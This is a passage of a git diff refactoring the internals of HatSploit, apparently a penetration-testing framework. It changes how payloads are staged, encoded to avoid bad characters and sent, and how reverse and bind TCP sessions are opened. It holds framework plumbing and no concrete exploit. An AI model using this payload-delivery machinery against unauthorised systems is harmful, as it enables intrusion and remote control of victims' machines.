self.modules.get_current_module() diff --git a/hatsploit/lib/encoder/__init__.py b/hatsploit/lib/encoder/__init__.py index 79ce673b7..c5bc34dba 100644 --- a/hatsploit/lib/encoder/__init__.py +++ b/hatsploit/lib/encoder/__init__.py @@ -45,9 +45,8 @@ def __init__(self) -> None: self.details = { 'Name': "", 'Encoder': "", - 'Authors': [ - '' - ], + 'Authors': ( + ), 'Description': "", 'Arch': None } diff --git a/hatsploit/lib/encoders.py b/hatsploit/lib/encoders.py index e5127fd53..9b869a123 100755 --- a/hatsploit/lib/encoders.py +++ b/hatsploit/lib/encoders.py @@ -133,6 +133,23 @@ def get_encoder_object(self, encoder: str) -> dict: return self.get_encoders()[database][encoder] return {} + def get_payload_encoder(self, name: str, module: Module, payload: Payload) -> Union[Encoder, None]: + """ Get encoder associated with specific payload context. + + :param str name: encoder name + :param Module module: module object + :param Payload payload: payload object + :return Union[Encoder, None]: encoder if exists + """ + + imported_encoders = self.get_imported_encoders() + module_name = module.details['Module'] + payload_name = payload.details['Payload'] + + if imported_encoders and module_name in imported_encoders \ + and payload_name in imported_encoders[module_name]: + return imported_encoders[module_name][payload_name].get(name, None) + def get_current_encoder(self, module: Module, payload: Payload) -> Union[Encoder, None]: """ Get current encoder, this is encoder which is currently used within current module and current payload. @@ -142,16 +159,8 @@ def get_current_encoder(self, module: Module, payload: Payload) -> Union[Encoder :return Union[Encoder, None]: current encoder, None if no current encoder """ - imported_encoders = self.get_imported_encoders() - - if payload and module and imported_encoders and 'Encoder' in payload.details: - module_name = module.details['Module'] - payload_name = payload.details['Payload'] - - if module_name in imported_encoders and payload_name in imported_encoders[module_name]: - name = payload.details['Encoder']['Value'] - - return imported_encoders[module_name][payload_name].get(name, None) + if hasattr(payload, 'encoder'): + return self.get_payload_encoder(payload.encoder.value, module, payload) def import_encoder(self, module: str, payload: str, encoder: str) -> Union[Encoder, None]: """ Import encoder. @@ -275,16 +284,19 @@ def check_payload_compatible(self, encoder: str, payload: Payload) -> bool: return False - def add_encoder(self, module: str, payload: str, encoder: str) -> None: + def add_encoder(self, module: Module, payload: Payload, encoder: str) -> None: """ Add encoder to module and payload which you want to reserve it for. - :param str module: module which you want to reserve encoder for - :param str payload: payload which you want to reserve encoder for + :param Module module: module which you want to reserve encoder for + :param Payload payload: payload which you want to reserve encoder for :param str encoder: encoder name :return None: None :raises RuntimeError: with trailing error message """ - if not self.check_imported(module, payload, encoder): - if not self.import_encoder(module, payload, encoder): + module_name = module.details['Module'] + payload_name = payload.details['Payload'] + + if not self.check_imported(module_name, payload_name, encoder): + if not self.import_encoder(module_name, payload_name, encoder): raise RuntimeError(f"Failed to select encoder from database: {encoder}!") diff --git a/hatsploit/lib/handler/__init__.py b/hatsploit/lib/handler/__init__.py index 1f25cfd84..57b455097 100755 --- a/hatsploit/lib/handler/__init__.py +++ b/hatsploit/lib/handler/__init__.py @@ -26,12 +26,11 @@ import datetime from pex.proto.tcp import TCPTools - from typing import Optional, Callable, Tuple, Any, Union from hatsploit.lib.option import * from hatsploit.lib.complex import * -from hatsploit.lib.blinder import Blinder +from hatsploit.lib.pseudo import Pseudo from hatsploit.lib.payload import Payload from hatsploit.lib.module import Module from hatsploit.lib.jobs import Jobs @@ -42,6 +41,7 @@ from hatsploit.lib.handler.send import Send from hatsploit.lib.handler.misc import HatSploitSession +from hatsploit.lib.payload.const import * from badges import Badges @@ -63,19 +63,14 @@ def __init__(self) -> None: self.jobs = Jobs() self.encoders = Encoders() - self.actions = [ - 'shell', - 'memory', - ] - self.types = [ - 'one_side', - 'reverse_tcp', - 'bind_tcp' + OneSide, + ReverseTCP, + BindTCP ] self.payload = PayloadOption(None, "Payload to use.", True, object=Module) - self.blinder = BooleanOption('no', "Start blind command injection.", False, object=Module) + self.pseudo = BooleanOption('no', "Use pseudo shell instead of payload.", False, object=Module) self.encoder = EncoderOption(None, "Encoder to use.", False, object=Payload) self.lhost = IPv4Option(TCPTools.get_local_host(), "Local host.", True, object=Module) @@ -84,11 +79,8 @@ def __init__(self) -> None: self.rhost = IPv4Option(TCPTools.get_local_host(), "Remote host.", True, object=Payload) self.rport = PortOption(8888, "Remote port.", True, object=Payload) - self.space = IntegerOption(2048, "Buffer space available.", - False, advanced=True, object=Module) - def open_session(self, session: Session, - on_session: Optional[Callable[..., Any] = None, + on_session: Optional[Callable[..., Any]] = None, details: Optional[dict] = {}) -> None: """ Open session and interact with it if allowed. @@ -114,7 +106,8 @@ def open_session(self, session: Session, session = self.sessions.add_session(platform, arch, type, host, port, session) time = datetime.datetime.now().astimezone().strftime("%Y-%m-%d %H:%M:%S %Z") - self.badges.print_success(f"{type.title()} session {str(session)} opened at {time}!") + self.badges.print_success( + f"{type.title()} session {str(session)} opened at {time}!") if on_session: on_session() @@ -132,19 +125,20 @@ def module_handle(self, *args, **kwargs) -> None: if not self.payload.value: raise RuntimeError("Module has not payload!") - payload = self.payload.payload - encoder = self.encoder.encoder + payload = self.payload + encoder = self.encoder - if self.blinder.value: + if self.pseudo.value: sender = kwargs.pop('sender', None) if sender: - return Blinder().shell(sender) + return Pseudo().shell(sender) session = HatSploitSession - if 'Session' in payload.details and payload.details['Session']: - session = payload.details['Session'] + if 'Session' in payload.payload.details and \ + payload.payload.details['Session']: + session = payload.payload.details['Session'] self.handle( payload=payload, @@ -153,45 +147,38 @@ def module_handle(self, *args, **kwargs) -> None: *args, **kwargs ) - def handle(self, payload: Payload, action: str = 'shell', + def handle(self, payload: PayloadOption, session: Optional[Session] = HatSploitSession, - encoder: Optional[Encoder] = None, on_session: Optional[Callable[..., Any]] = None, + encoder: Optional[EncoderOption] = None, + on_session: Optional[Callable[..., Any]] = None, *args, **kwargs) -> None: """ Handle session. - :param Payload payload: payload object - :param str action: type of handler + :param PayloadOption payload: payload option object :param Optional[Session] session: session handler - :param Encoder encoder: encoder object of encoder to apply + :param Optional[EncoderOption] encoder: encoder option object of encoder to apply :param Optional[Callable[..., Any]] on_session: function of an action that should be performed right after session was opened """ - space = kwargs.get('space', self.space.value) - - if action == 'shell': - client, host = self.send.shell_payload( + if not payload.mixin.inline: + client, host = self.send.drop_payload( payload=payload, host=self.lhost.value, port=self.lport.value, - space=space, encoder=encoder, *args, **kwargs ) - elif action == 'memory': - client, host = self.send.memory_payload( + else: + client, host = self.send.inline_payload( payload=payload, host=self.lhost.value, port=self.lport.value, - space=space, encoder=encoder, *args, **kwargs ) - else: - raise RuntimeError(f"Unrecognized handler action: {action}!") - if client: session = session() session.open(client) @@ -200,8 +187,8 @@ def handle(self, payload: Payload, action: str = 'shell', session=session, on_session=on_session, details={ - 'Platform': payload.details['Platform'], - 'Arch': payload.details['Arch'], + 'Platform': payload.payload.details['Platform'], + 'Arch': payload.payload.details['Arch'], 'Host': host, 'Port': self.lport.value } diff --git a/hatsploit/lib/handler/send.py b/hatsploit/lib/handler/send.py index 4b048912e..31c95e10a 100644 --- a/hatsploit/lib/handler/send.py +++ b/hatsploit/lib/handler/send.py @@ -28,6 +28,7 @@ from typing import Optional, Tuple, Union from hatsploit.lib.option import * +from hatsploit.lib.complex import * from pex.platform.types import Platform from pex.post import Post, PostTools @@ -38,8 +39,9 @@ from hatsploit.lib.payloads import Payloads from hatsploit.lib.handle import Handle -from badges import Badges +from hatsploit.lib.payload.const import * +from badges import Badges from pawn import Pawn @@ -61,16 +63,17 @@ def __init__(self) -> None: self.post_tools = PostTools() self.badges = Badges() - self.pawn = Pawn() self.types = [ - 'one_side', - 'reverse_tcp', - 'bind_tcp' + OneSide, + ReverseTCP, + BindTCP ] - def handle_session(self, host: str, port: int, type: str = 'one_side', timeout: Optional[int] = None, + def handle_session(self, host: str, port: int, + type: str = OneSide, + timeout: Optional[int] = None, session: Optional[Session] = None) -> Tuple[Union[Session, socket.socket], str]: """ Handle session. @@ -87,7 +90,7 @@ def handle_session(self, host: str, port: int, type: str = 'one_side', timeout: if type not in self.types: raise RuntimeError(f"Invalid payload type: {type}!") - if type == 'reverse_tcp': + if type == ReverseTCP: if not host or not port: raise RuntimeError("Reverse TCP requires host and port set!") @@ -98,7 +101,7 @@ def handle_session(self, host: str, port: int, type: str = 'one_side', timeout: return client, host - elif type == 'bind_tcp': + elif type == BindTCP: if not host or not port: raise RuntimeError("Bind TCP requires host and port set!") @@ -126,6 +129,7 @@ def send_implant(self, payload: Payload, client: socket.socket, raise RuntimeError("Payload was not found!") step = 1 + while True: if not hasattr(payload, f'phase{step}'): break @@ -139,7 +143,8 @@ def send_implant(self, payload: Payload, client: socket.socket, if not phase: raise RuntimeError(f"Payload phase #{str(step)} generated incorrectly!") - self.badges.print_process(f"Sending payload phase #{str(step)} ({str(len(phase))} bytes)...") + self.badges.print_process( + f"Sending payload phase #{str(step)} ({str(len(phase))} bytes)...") client.send(phase) time.sleep(.5) @@ -158,28 +163,58 @@ def send_implant(self, payload: Payload, client: socket.socket, if implant: time.sleep(.5) - self.badges.print_process(f"Sending payload ({str(len(implant))} bytes)...") + self.badges.print_process( + f"Sending payload ({str(len(implant))} bytes)...") client.send(implant) - def shell_payload(self, payload: Payload, host: str, port: int, - space: int = 2048, encoder: Optional[Encoder] = None, - *args, **kwargs) -> Tuple[Union[socket.socket, str], str]: - """ Send payload if the destination is shell. + def get_phase(self, payload: Payload) -> Union[bytes, None]: + """ Get first payload phase. - :param Payload payload: payload + :param Payload payload: payload object + :return Union[bytes, None]: phase if exists + """ + + type = payload.details['Type'] + type = type if type in [ReverseTCP, BindTCP] else ReverseTCP + + phase = self.pawn.auto_pawn( + platform=payload.details['Platform'], + arch=payload.details['Arch'], + type=type + ) + + if phase: + if type == ReverseTCP: + phase.set('host', payload.rhost.value) + phase.set('port', payload.rport.value) + + elif type == BindTCP: + phase.set('port', payload.rport.value) + + return self.pawn.run_pawn(phase) + + def drop_payload(self, payload: PayloadOption, host: str, port: int, + encoder: Optional[EncoderOption] = None, + *args, **kwargs) -> Tuple[Union[socket.socket, str], str]: + """ Send payload. + + :param PayloadOption payload: payload :param str host: host to start listener on :param int port: port to start listener on - :param int space: maximum payload size - :param Optional[Encoder] encoder: encoder to apply + :param Optional[EncoderOption] encoder: encoder to apply :return Tuple[Union[socket.socket, str], str]: final socket and host """ sender = kwargs.get('sender', None) - arguments = payload.details.get('Arguments', '') + config = payload.config + payload = payload.payload if not payload: raise RuntimeError("Payload was not found!") + encoder = encoder.encoder + arguments = payload.details.get('Arguments', '') + if not sender: raise RuntimeError("Payload sender is not specified!") @@ -190,51 +225,51 @@ def shell_payload(self, payload: Payload, host: str, port: int, arch = payload.details['Arch'] type = payload.details['Type'] - main = self.payloads.run_payload( + buffer = self.payloads.run_payload( payload=payload, - encoder=encoder + encoder=encoder, + badchars=config.get('BadChars', b'') ) - if len(main) >= space and hasattr(payload, 'phase'): - phase = self.payloads.run_payload( - payload=payload, - encoder=encoder, - method='phase' - ) + if len(buffer) > config.get('Space', 2048) or payload.details['Phased']: + phase = self.get_phase(payload) - if phase: - phase = self.payloads.pack_payload( - payload=phase, - platform=platform, - arch=arch - ) + if not phase: + raise RuntimeError("No phase available for this payload!") - self.badges.print_process(f"Sending payload phase ({str(len(phase))} bytes)...") - self.post.post( - payload=phase, - platform=platform, - arch=arch, - *args, **kwargs - ) + phase = self.payloads.pack_payload( + payload=self.payloads.fix_badchars( + payload, phase, config.get('BadChars', b'')), + platform=platform, + arch=arch + ) - if type not in ['reverse_tcp', 'bind_tcp']: - type = 'reverse_tcp' + self.badges.print_process( + f"Sending payload phase ({str(len(phase))} bytes)...") + self.post.post( + payload=phase, + platform=platform, + arch=arch, + *args, **kwargs + ) - client, host = self.handle_session( - host=host, port=port, type=type) + type = type if type in [ReverseTCP, BindTCP] else ReverseTCP + client, host = self.handle_session( + host=host, port=port, type=type) - self.send_implant(payload, client, encoder) - return client, host + self.send_implant(payload, client, encoder) + return client, host - phase = self.payloads.pack_payload( - payload=main, + buffer = self.payloads.pack_payload( + payload=buffer, platform=platform, arch=arch ) - self.badges.print_process(f"Sending payload ({str(len(phase))} bytes)...") + self.badges.print_process( + f"Sending payload ({str(len(buffer))} bytes)...") self.post.post( - payload=phase, + payload=buffer, platform=platform, arch=arch, arguments=arguments, @@ -244,20 +279,21 @@ def shell_payload(self, payload: Payload, host: str, port: int, return self.handle_session( host=host, port=port, type=type) - def memory_payload(self, payload: Payload, host: str, port: int, - space: int = 2048, encoder: Optional[Encoder] = None, + def inline_payload(self, payload: Payload, host: str, port: int, + encoder: Optional[Encoder] = None, *args, **kwargs) -> Tuple[Union[socket.socket, str], str]: - """ Send payload if the destination is memory. + """ Send payload if inline. :param Payload payload: payload :param str host: host to start listener on :param int port: port to start listener on - :param int space: maximum payload size :param Optional[Encoder] encoder: encoder to apply :return Tuple[Union[socket.socket, str], str]: final socket and host """ sender = kwargs.get('sender', None) + config = payload.config + payload = payload.payload if not payload: raise RuntimeError("Payload was not found!") @@ -269,38 +305,38 @@ def memory_payload(self, payload: Payload, host: str, port: int, raise RuntimeError("Host and port were not found for payload!") type = payload.details['Type'] + encoder = encoder.encoder - main = self.payloads.run_payload( + buffer = self.payloads.run_payload( payload=payload, - encoder=encoder + encoder=encoder, + badchars=config.get('BadChars', b'') ) - if len(main) >= space and hasattr(payload, 'phase'): - phase = self.payloads.run_payload( - payload=payload, - encoder=encoder, - method='phase' - ) + if len(buffer) > config.get('Space', 2048) or payload.details['Phased']: + phase = self.get_phase(payload) - if phase: - self.badges.print_process(f"Sending payload phase ({str(len(phase))} bytes)...") - self.post_tools.post_payload( - payload=phase, - *args, **kwargs - ) + if not phase: + raise RuntimeError("No phase available for this payload!") - if type not in ['reverse_tcp', 'bind_tcp']: - type = 'reverse_tcp' + self.badges.print_process( + f"Sending payload phase ({str(len(phase))} bytes)...") + self.post_tools.post_payload( + payload=phase, + *args, **kwargs + ) - client, host = self.handle_session( - host=host, port=port, type=type) + type = type if type in [ReverseTCP, BindTCP] else ReverseTCP + client, host = self.handle_session( + host=host, port=port, type=type) - self.send_implant(payload, client, encoder) - return client, host + self.send_implant(payload, client, encoder) + return client, host - self.badges.print_process(f"Sending payload ({str(len(main))} bytes)...") + self.badges.print_process( + f"Sending payload ({str(len(buffer))} bytes)...") self.post_tools.post_payload( - payload=main, + payload=buffer, *args, **kwargs ) diff --git a/hatsploit/lib/module/__init__.py b/hatsploit/lib/module/__init__.py index f75c30973..0dc733005 100644 --- a/hatsploit/lib/module/__init__.py +++ b/hatsploit/lib/module/__init__.py @@ -44,14 +44,26 @@ def __init__(self) -> None: 'Category': "", 'Name': "", 'Module': "", - 'Authors': [ - '' - ], + 'Authors': ( + ), 'Description': "", + 'Targets': {}, 'Platform': None, - 'Rank': "" + 'Rank': None, + 'Devices': ( + ), + 'References': ( + ), + 'DisclosureDate': "", + 'Notes': { + 'Stability': [], + 'Reliability': [], + 'SideEffects': [], + } } + self.target = None + def set(self, option: str, value: Optional[str] = None) -> bool: """ Set module option. diff --git a/hatsploit/lib/module/basic.py b/hatsploit/lib/module/basic.py index 9514f3146..3b0480e62 100644 --- a/hatsploit/lib/module/basic.py +++ b/hatsploit/lib/module/basic.py @@ -28,5 +28,8 @@ from pex.platform.types import * from pex.arch.types import * +from hatsploit.lib.mixins import * from hatsploit.lib.option import * from hatsploit.lib.complex import * + +from hatsploit.lib.module.const import * diff --git a/hatsploit/lib/module/proto/http.py b/hatsploit/lib/module/proto/http.py index 870c78987..0334c14e6 100644 --- a/hatsploit/lib/module/proto/http.py +++ b/hatsploit/lib/module/proto/http.py @@ -30,7 +30,7 @@ class HTTP(object): """ Subclass of hatsploit.lib.module.proto module. This subclass of hatsploit.lib.module.proto module is a representation - of a wrapper of TCP client for a module. + of a wrapper of HTTP client for a module. """ def __init__(self) -> None: diff --git a/hatsploit/lib/modules.py b/hatsploit/lib/modules.py index 347c659cc..4e758a5c9 100755 --- a/hatsploit/lib/modules.py +++ b/hatsploit/lib/modules.py @@ -22,6 +22,8 @@ SOFTWARE. """ +import sys +import traceback import copy import os @@ -127,6 +129,7 @@ def get_module(self, module: str) -> Union[Module, None]: imported_module = self.importer.import_module(module_object['Path']) self.options.add_options(imported_module) except Exception: + traceback.print_exc(file=sys.stdout) return None return imported_module @@ -202,9 +205,11 @@ def import_module(self, module: str) -> Union[Module, None]: if module_object: if self.get_imported_modules(): - self.local_storage.update("imported_modules", {module: module_object}) + self.local_storage.update( + "imported_modules", {module: module_object}) else: - self.local_storage.set("imported_modules", {module: module_object}) + self.local_storage.set( + "imported_modules", {module: module_object}) return module_object @@ -226,6 +231,16 @@ def check_exist(self, module: str) -> bool: return False + @staticmethod + def check_payload(module: Module) -> bool: + """ Check if module has a payload configurable. + + :param Module module: module object + :return bool: True if yes else False + """ + + return hasattr(module, 'payload') + def check_imported(self, module: str) -> bool: """ Check if encoder is imported. @@ -290,26 +305,39 @@ def add_module(self, module: str) -> None: if self.check_imported(module): module_object = imported_modules[module] self.add_to_global(module_object) + return - else: - module_object = self.import_module(module) + module_object = self.import_module(module) - if module_object: - self.add_to_global(module_object) + if not module_object: + raise RuntimeError(f"Failed to select module from database: {module}!") - if 'Payload' in module_object.details: - payload_name = module_object.details['Payload'].get('Value', None) + self.add_to_global(module_object) - if payload_name: - self.badges.print_process(f"Using default payload {payload_name}...") + if not self.set_current_module_target(0): + if self.check_payload(module_object): + module_object.payload.criteria.update( + module_object.details.get('Payload', {})) - if module_object.set('payload', payload_name): - return + if not self.check_payload(module_object): + return - self.go_back() - raise RuntimeError(f"Invalid default payload: {payload_name}!") - else: - raise RuntimeError(f"Failed to select module from database: {module}!") + mixins = module_object.payload.criteria + + for mixin in mixins: + if not mixin.priority: + continue + + payload_name = mixins[mixin].get('Value', None) + + if payload_name: + self.badges.print_process(f"Using default payload {payload_name}...") + + if module_object.set('payload', payload_name): + return + + self.go_back() + raise RuntimeError(f"Invalid default payload: {payload_name}!") def add_to_global(self, module: Module) -> None: """ Allocate space in local storage for module object. @@ -529,6 +557,40 @@ def check_current_module(self) -> bool: return False + def set_current_module_target(self, target_id: int) -> bool: + """ Set current module target. + + :param int target_id: target ID + :return bool: True if success else False + :raises RuntimeWarning: with trailing warning message + """ + + module = self.get_current_module() + + if not module: + raise RuntimeWarning("No module selected.") + + targets = module.details['Targets'] + + if target_id < 0 or len(targets) <= target_id: + return False + + target = list(targets)[target_id] + module.target = targets[target] + module.target.update({'Name': target}) + + if not self.check_payload(module): + return True + + if 'Payload' in module.target: + module.payload.criteria.update(module.target['Payload']) + else: + module.payload.criteria.update( + module.details.get('Payload', {})) + + module.payload.unset() + return True + def run_current_module(self, loop: bool = False, catch: Optional[Callable[..., None]] = None) -> None: """ Run current module. diff --git a/hatsploit/lib/option.py b/hatsploit/lib/option.py index 4dcdb84e3..ff8243007 100644 --- a/hatsploit/lib/option.py +++ b/hatsploit/lib/option.py @@ -22,6 +22,8 @@ SOFTWARE. """ +from typing import Union + from pex.type import Type from pex.socket import Socket @@ -29,12 +31,47 @@ class BytesOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores bytes. + """ + + def set(self, value: bytes) -> None: + """ Set current option value. + + :param bytes value: option value to set + :return None: None + """ + self.value = bytes.fromhex(value.replace('\\x', '')) class IPv4Option(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores IPv4. + """ + + def __init__(self, *args, **kwargs) -> None: + """ Initialize IPv4 option. + + :return None: None + """ + + super().__init__(*args, **kwargs) + + self.big = b'' + self.little = b'' + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('IPv4', Type().types['ipv4'], value) self.value = value @@ -43,37 +80,120 @@ def set(self, value): class IPv6Option(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores IPv6. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('IPv6', Type().types['ipv6'], value) self.value = value class IPOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores IPv6/IPv4. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('IP', Type().types['ip'], value) self.value = value class MACOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores MAC address. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('MAC', Type().types['mac'], value) self.value = value class IPv4CIDROption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores IPv4 CIDR. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('IPv4 CIDR', Type().types['ipv4_cidr'], value) self.value = value class IPv6CIDROption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores IPv6 CIDR. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('IPv6 CIDR', Type().types['ipv6_cidr'], value) self.value = value class PortOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores TCP/UDP port. + """ + + def __init__(self, *args, **kwargs) -> None: + """ Initialize port option. + + :return None: None + """ + + super().__init__(*args, **kwargs) + + self.big = b'' + self.little = b'' + + def set(self, value: int) -> None: + """ Set current option value. + + :param int value: option value to set + :return None: None + """ + self.check('port', Type().types['port'], value) self.value = int(value) @@ -82,31 +202,91 @@ def set(self, value): class PortRangeOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores port range. + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('port range', Type().types['port_range'], value) self.value = value class NumberOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores float/integer. + """ + + def set(self, value: Union[int, float]) -> None: + """ Set current option value. + + :param Union[int, float] value: option value to set + :return None: None + """ + self.check('number', Type().types['number'], value) self.value = value class IntegerOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores integer. + """ + + def set(self, value: int) -> None: + """ Set current option value. + + :param int value: option value to set + :return None: None + """ + self.check('integer', Type().types['integer'], value) self.value = int(value) class FloatOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores float. + """ + + def set(self, value: float) -> None: + """ Set current option value. + + :param float value: option value to set + :return None: None + """ + self.check('float', Type().types['float'], value) self.value = float(value) class BooleanOption(Option): - def set(self, value): + """ Subclass of hatsploit.lib.option module. + + This subclass of hatsploit.lib.option module is a representation + of an option that stores bool (yes/no). + """ + + def set(self, value: str) -> None: + """ Set current option value. + + :param str value: option value to set + :return None: None + """ + self.check('boolean', Type().types['boolean'], value) if value.lower() in ['y', 'yes']: diff --git a/hatsploit/lib/options.py b/hatsploit/lib/options.py index 5557619b6..14b1587b9 100755 --- a/hatsploit/lib/options.py +++ b/hatsploit/lib/options.py @@ -57,13 +57,6 @@ def __init__(self, value: Any = None, description: Optional[str] = None, self.advanced = advanced self.object = object - self.payload = None - self.encoder = None - self.session = None - - self.little = b'' - self.big = b'' - self.visible = True self.locked = False diff --git a/hatsploit/lib/payload/__init__.py b/hatsploit/lib/payload/__init__.py index d20dc5efb..2f92e3df5 100644 --- a/hatsploit/lib/payload/__init__.py +++ b/hatsploit/lib/payload/__init__.py @@ -46,18 +46,17 @@ def __init__(self) -> None: self.details = { 'Name': "", 'Payload': "", - 'Authors': [ - '' - ], + 'Authors': ( + ), 'Description': "", 'Arch': None, 'Platform': None, 'Session': None, - 'Rank': "", - 'Type': "" + 'Phased': False, + 'Type': None } - self.badchars = BytesOption(None, "Bad characters to omit.", False, True) + self.badchars = BytesOption('', "Bad characters to omit.", False, True) def set(self, option: str, value: Optional[str] = None) -> bool: """ Set payload option. @@ -69,33 +68,6 @@ def set(self, option: str, value: Optional[str] = None) -> bool: return Options().set_option(self, option, value) - def phase(self) -> Union[bytes, None]: - """ First phase. - - :return bytes: bytes - """ - - type = self.details['Type'] - - if type not in ['reverse_tcp', 'bind_tcp']: - type = 'reverse_tcp' - - phase = self.auto_pawn( - platform=self.details['Platform'], - arch=self.details['Arch'], - type=type - ) - - if phase: - if type == 'reverse_tcp': - phase.set('host', self.rhost.value) - phase.set('port', self.rport.value) - - elif type == 'bind_tcp': - phase.set('port', self.rport.value) - - return self.run_pawn(phase) - def run(self) -> None: """ Run this payload. diff --git a/hatsploit/lib/payload/basic.py b/hatsploit/lib/payload/basic.py index b9f6b3a83..fca094610 100644 --- a/hatsploit/lib/payload/basic.py +++ b/hatsploit/lib/payload/basic.py @@ -29,3 +29,4 @@ from pex.platform.types import * from hatsploit.lib.option import * +from hatsploit.lib.payload.const import * diff --git a/hatsploit/lib/payloads.py b/hatsploit/lib/payloads.py index 32e7184b3..68c5ebe43 100755 --- a/hatsploit/lib/payloads.py +++ b/hatsploit/lib/payloads.py @@ -38,6 +38,7 @@ from hatsploit.lib.module import Module from hatsploit.lib.encoders import Encoders from hatsploit.lib.storage import LocalStorage +from hatsploit.lib.mixins import PayloadMixin, PayloadGenericMixin class Payloads(object): @@ -145,22 +146,29 @@ def get_payload_object(self, payload: str) -> dict: return {} def get_current_payload(self, module: Module) -> Union[Payload, None]: - """ Get current encoder, this is encoder which is currently + """ Get current payload, this is payload which is currently used within current module. :param Module module: current module :return Union[Payload, None]: current payload, None if no current payload """ - imported_payloads = self.get_imported_payloads() + if hasattr(module, 'payload'): + return self.get_module_payload(module.payload.value, module) - if module and imported_payloads and 'Payload' in module.details: - module_name = module.details['Module'] + def get_module_payload(self, name: str, module: Module) -> Union[Payload, None]: + """ Get payload imported within the module context. - if module_name in imported_payloads: - name = module.details['Payload']['Value'] + :param str name: payload name + :param Module module: module object + :return Union[Payload, None]: payload if exists + """ - return imported_payloads[module_name].get(name, None) + imported_payloads = self.get_imported_payloads() + module_name = module.details['Module'] + + if imported_payloads and module_name in imported_payloads: + return imported_payloads[module_name].get(name, None) def search_payload(self, name: str) -> str: """ Get payload name by full payload name. @@ -253,57 +261,64 @@ def check_imported(self, module: str, payload: str) -> bool: return False - def check_module_compatible(self, payload: str, module: Module) -> bool: + def check_module_compatible(self, payload: str, module: Module) -> Union[PayloadMixin, None]: """ Check if payload is compatible with the specific module. :param str payload: payload name :param Module module: module object - :return bool: True if compatible else False + :return Union[PayloadMixin, None]: payload mixin if compatible else None """ payload = self.get_payload_object(payload) - if payload: - if 'Payload' in module.details: - types = module.details['Payload'].get('Types', None) - platforms = module.details['Payload'].get('Platforms', None) - arches = module.details['Payload'].get('Arches', None) + if not payload: + return - if types and payload['Type'] not in types: - return False + if not module.payload.criteria: + return PayloadGenericMixin - if platforms and not any(payload['Platform'] == platform for platform in platforms): - return False + mixins = module.payload.criteria - if arches and not any(payload['Arch'] == arch for arch in arches): - return False + for mixin in mixins: + types = mixins[mixin].get('Type', None) + platforms = mixins[mixin].get('Platform', None) + arches = mixins[mixin].get('Arch', None) - return True + if types and payload['Type'] not in types: + continue - return False + if platforms and not any(payload['Platform'] == platform for platform in platforms): + continue + + if arches and not any(payload['Arch'] == arch for arch in arches): + continue - def add_payload(self, module: str, payload: str) -> None: + return mixin + + def add_payload(self, module: Module, payload: str) -> None: """ Add payload to module which you want to reserve it for. - :param str module: module which you want to reserve encoder for + :param str module: module object :param str payload: payload name :return None: None :raises RuntimeError: with trailing error message """ - if not self.check_imported(module, payload): - if not self.import_payload(module, payload): + module_name = module.details['Module'] + + if not self.check_imported(module_name, payload): + if not self.import_payload(module_name, payload): raise RuntimeError(f"Failed to select payload from database: {payload}!") - def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[str] = None, - method: str = 'run') -> Any: + def generate_payload(self, payload: str, options: dict = {}, + encoder: Optional[str] = None, + *args, **kwargs) -> Any: """ Generate payload using specific payload and encoder. :param str payload: payload name :param dict options: dictionary, option names as keys and option values as items :param Optional[str] encoder: encoder name - :param str method: payload generator method :return Any: payload returned by the specific payload """ @@ -319,7 +334,7 @@ def generate_payload(self, payload: str, options: dict = {}, encoder: Optional[s for option in options: encoder.set(option, options[option]) - return self.run_payload(payload, encoder, method) + return self.run_payload(payload, encoder, *args, **kwargs) def pack_payload(self, payload: bytes, platform: Platform, arch: Arch, file_format: Optional[str] = None) -> bytes: """ Pack payload in the CPU executable. @@ -343,10 +358,9 @@ def detect_badchars(code: bytes, badchars: bytes) -> bool: :return bool: True if code contains badchars else False """ - if badchars: - for char in badchars: - if char in code: - return True + for char in badchars: + if char in code: + return True return False @@ -364,29 +378,31 @@ def fix_badchars(self, payload: Payload, code: bytes, badchars: bytes) -> bytes: all_encoders = self.encoders.get_encoders() - if all_encoders: - for database in all_encoders: - encoders = all_encoders[database] + if not all_encoders: + return code - for encoder in encoders: - if not self.encoders.check_payload_compatible(encoder, payload): - continue + for database in all_encoders: + encoders = all_encoders[database] - encoder = self.encoders.get_encoder(encoder) - encoder.payload = code - new_code = encoder.run() + for encoder in encoders: + if not self.encoders.check_payload_compatible(encoder, payload): + continue - if not self.detect_badchars(new_code, badchars): - return new_code + encoder = self.encoders.get_encoder(encoder) + encoder.payload = code + new_code = encoder.run() - return code + if not self.detect_badchars(new_code, badchars): + return new_code - def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, method: str = 'run') 